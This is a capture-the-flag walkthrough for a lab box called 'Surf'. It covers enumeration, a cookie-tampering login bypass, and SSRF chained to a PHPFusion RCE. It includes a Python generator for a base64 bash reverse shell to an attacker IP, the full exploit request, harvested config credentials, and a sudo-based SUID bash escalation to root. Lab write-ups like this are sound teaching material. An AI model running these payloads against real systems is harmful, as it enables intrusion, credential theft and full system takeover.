Surf
Gaining Access
Nmap scan:
$ nmap -p- --min-rate 4000 192.168.175.171
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-01 16:06 +08
Nmap scan report for 192.168.175.171
Host is up (0.17s latency).
Not shown: 41614 filtered tcp ports (no-response), 23919 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Surfing Blog -> Login Bypass
Port 80 took so long to load I didn't bother with it. Instead, I started with a gobuster
scan:
$ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://192.168.175.171 -t 100
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.175.171
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Timeout: 10s
===============================================================
2023/07/01 16:19:50 Starting gobuster in directory enumeration mode
===============================================================
/assets (Status: 301) [Size: 319] [--> http://192.168.175.171/assets/]
/css (Status: 301) [Size: 316] [--> http://192.168.175.171/css/]
/js (Status: 301) [Size: 315] [--> http://192.168.175.171/js/]
/administration (Status: 301) [Size: 327] [--> http://192.168.175.171/administration/]
There's an administration directory present, and when viewed it just shows a login page:

I tried default and weak credentials, but they don't work. When the traffic is viewed in Burp, we can see that there are some tokens being passed around:

The auth_status
cookie is just a base64
encoded string of {'success':'false'}
. Afterwards, the auth_status
cookie is appended to every subsequent login attempt. We can easily replace this with true
and be granted access to the admin dashboard:

SSRF -> RCE
Within the website, there isn't much functionality, but there is a 'Check Server Status' function:

Here's the HTTP request sent:
POST /administration/checkserver.php HTTP/1.1
Host: 192.168.175.171
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Origin: http://192.168.175.171
Connection: close
Referer: http://192.168.175.171/administration/checkserver.php
Cookie: auth_status=eydzdWNjZXNzJzondHJ1ZSd9; PHPSESSID=nvesm039uh8qqsd19aqv25jhg3
Upgrade-Insecure-Requests: 1
url=http%3A%2F%2F127.0.0.1%3A8080
This looks vulnerable to a SSRF, and we can confirm it is.

Also, it tells us that the backend server is running PHPFusion. There are a few exploits available for PHPFusion:
$ searchsploit phpfusion
----------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------- ---------------------------------
PHPFusion 9.03.50 - Persistent Cross-Site Scripting | php/webapps/48497.txt
PHPFusion 9.03.50 - Remote Code Execution | php/webapps/49911.py
----------------------------------------------------------- ---------------------------------
We can download and view the RCE exploit to find that the exploit is triggered by sending a request to /infusions/downloads/downloads.php?cat_id=${system(ls)}
.
Using the exploit, we can create a payload generator as such:
import base64
PAYLOAD = "bash -c 'bash -i >& /dev/tcp/192.168.45.164/443 0>&1' " # !!spaces are important in order to avoid ==!!
REQUEST_PAYLOAD = "/infusions/downloads/downloads.php?cat_id=$\{{system(base64_decode({})).exit\}}"
PAYLOAD_B64 = base64.b64encode(PAYLOAD.encode('ascii')).decode("ascii")
print(REQUEST_PAYLOAD.format(PAYLOAD_B64))
This would print base64
encoded payload, which we can submit like so:
POST /administration/checkserver.php HTTP/1.1
Host: 192.168.175.171
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 132
Origin: http://192.168.175.171
Connection: close
Referer: http://192.168.175.171/administration/checkserver.php
Cookie: auth_status=eydzdWNjZXNzJzondHJ1ZSd9; PHPSESSID=rnaerbm2cbt3193qgev658ap3k
Upgrade-Insecure-Requests: 1
url=http://127.0.0.1:8080/infusions/downloads/downloads.php?cat_id=$\{system(base64_decode(YmFzaCAtYyAgJ2Jhc2ggIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNDUuMTY0LzQ0MyAwPiYxJyAg)).exit\}
Then we can get a reverse shell and grab the user flag:

Privilege Escalation
James Creds
As usual, we should be looking at credential files within the website. There are some in the /var/www/html/config.php
file:
<?php
// database settings
$db_host = 'localhost';
$db_port = '3306';
$db_user = 'phpfusion';
$db_pass = 'phpfusion';
$db_name = 'phpfusion';
$db_prefix = 'fusionc6Jb6_';
$db_driver = 'pdo';
define("DB_PREFIX", "fusionc6Jb6_");
define("COOKIE_PREFIX", "fusion33hvd_");
define("SECRET_KEY", "2RH443cPDc588jUkNtQ29fjHwJIS89Ez");
define("SECRET_KEY_SALT", "F6UU9T38pjH48myWA3HqkkN431l26GkI");
There are other files in the /var/www
file present as well:
www-data@Surf:/var/www$ ls
html server
We can find credentials inside the server
file for the user james
.
www-data@Surf:/var/www/server/administration/config$ cat config.php
<?php
//Note: This file should be included first in every php page.
error_reporting(E_ALL);
ini_set('display_errors', 'On');
define('BASE_PATH', dirname(dirname(__FILE__)));
define('APP_FOLDER', 'simpleadmin');
define('CURRENT_PAGE', basename($_SERVER['REQUEST_URI']));
require_once BASE_PATH . '/lib/MysqliDb/MysqliDb.php';
require_once BASE_PATH . '/helpers/helpers.php';
/*
|--------------------------------------------------------------------------
| DATABASE CONFIGURATION
|--------------------------------------------------------------------------
*/
define('DB_HOST', "localhost");
define('DB_USER', "core");
define('DB_PASSWORD', "FlyToTheMoon213!");
define('DB_NAME', "corephpadmin");
/**
* Get instance of DB object
*/
function getDbInstance() {
return new MysqliDb(DB_HOST, DB_USER, DB_PASSWORD, DB_NAME);
}
We can then su
to james
:

Sudo Privileges
Since we have the password for james
, we can check our sudo
privileges:
james@Surf:/home$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for james:
Matching Defaults entries for james on Surf:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User james may run the following commands on Surf:
(ALL) /usr/bin/php /var/backups/database-backup.php
This file is owned by www-data
and we can write to it:
james@Surf:/home$ ls -la /var/backups/database-backup.php
-rwxr-xr-x 1 www-data www-data 2758 Nov 9 2021 /var/backups/database-backup.php
The exploit would be to write a small snippet making /bin/bash
an SUID binary and then executing it as james
.
We can use vi
to edit the file to include system("chmod u+s /bin/bash");
, and then use :wq!
to force the save. Afterwards, when we can run the file using sudo
as james
:

Then we can easily become the root
user:

Last updated